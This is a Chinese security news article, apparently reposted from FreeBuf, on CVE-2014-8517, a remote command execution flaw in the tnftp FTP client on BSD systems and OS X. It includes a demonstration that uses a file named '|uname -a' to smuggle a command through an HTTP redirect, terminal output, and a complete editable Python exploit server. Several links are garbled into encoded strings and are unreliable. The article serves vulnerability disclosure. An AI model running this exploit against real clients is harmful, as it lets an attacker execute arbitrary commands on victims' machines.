10月28日，一份公开的邮件中曝出FTP远程执行命令漏洞，漏洞影响到的Unix系统包括：Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。
NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可以通过tnftp从WEB服务器远程执行恶意命令，并且此漏洞已被编号为CVE-2014-8517 ：
     a20$ pwd
     /var/www/cgi-bin
     a20$ ls -l
     total 4
     -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
     -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
     a20$ cat redirect
     #!/bin/sh
     echo 'Status: 302 Found'
     echo 'Content-Type: text/html'
     echo 'Connection: keep-alive'
     echo 'Location: d03K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0u0Q4x3X3f1I4z5g2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8W2)9%4b7%4g2F1j5h3#2W2i4K6t1#2x3U0m8Q4x3X3c8S2i4K6t1%4
     echo
     a20$
   a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...
   ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...
   Requesting http://localhost/cgi-bin/redirect
   Redirected to f23K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0u0Q4x3X3f1I4z5g2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8W2)9%4b7%4g2F1j5h3#2W2i4K6t1#2x3U0m8Q4x3X3c8S2
   Requesting effK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0u0Q4x3X3f1I4z5g2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8W2)9%4b7%4g2F1j5h3#2W2i4K6t1#2x3U0m8Q4x3X3c8S2
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)
   NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
   ADT 2014
   Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm
   a20$
漏洞影响范围及公告
Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害，其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告：


漏洞检测脚本（请勿用于非法用途）
#!/usr/bin/env python

"""
Sample OSX/BSD FTP client exploit. Written because ISO policies were doing
my head in. To exploit, edit the value of the cmd variable, then run the
script. To test:

        ftp http://<myserver>/foo

And you should see the command executed.

All wrongs reversed - @stevelord
"""

import BaseHTTPServer
import sys
import socket
import urllib

hostname = socket.getfqdn() # Set this to your IP if you have no FQDN
port = 8000 # Set this to the port you want to run this on
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."

cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
        def do_GET(s):
                if cmd in s.path:
                        s.send_response(200)
                        s.end_headers()
                else:
                        s.send_response(302)
                        s.send_header("Location", redir)
                        s.end_headers()

if __name__ == "__main__":
        print "redirecting to,", redir
        server_class = BaseHTTPServer.HTTPServer
        httpd = server_class((hostname, port), RedirectHandler)
        try:
                httpd.serve_forever()
                print "Started serving."
        except KeyboardInterrupt:
                pass
        httpd.server_close()
        print "\nStopped serving."
解决方案和更详细的内容参见：
207K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3L8%4y4K6i4K6u0V1M7$3g2U0i4K6u0r3x3U0l9I4y4q4)9J5c8Y4p5@1i4K6u0r3y4o6f1&6 1b8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3L8%4y4K6i4K6u0V1M7$3g2U0i4K6u0r3x3U0l9I4y4q4)9J5c8Y4p5@1i4K6u0r3y4o6j5@1
7f9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3L8%4y4K6i4K6u0V1M7$3g2U0i4K6u0r3x3U0l9I4y4q4)9J5c8Y4p5@1i4K6u0r3y4o6j5H3
[参考信息来源nix-systems-affected-ftp-remote-command-execution-vulnerability，转载请注明FreeBuf.com]

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

上传的附件：

• 14146016095715.jpg （65.46kb，1次下载）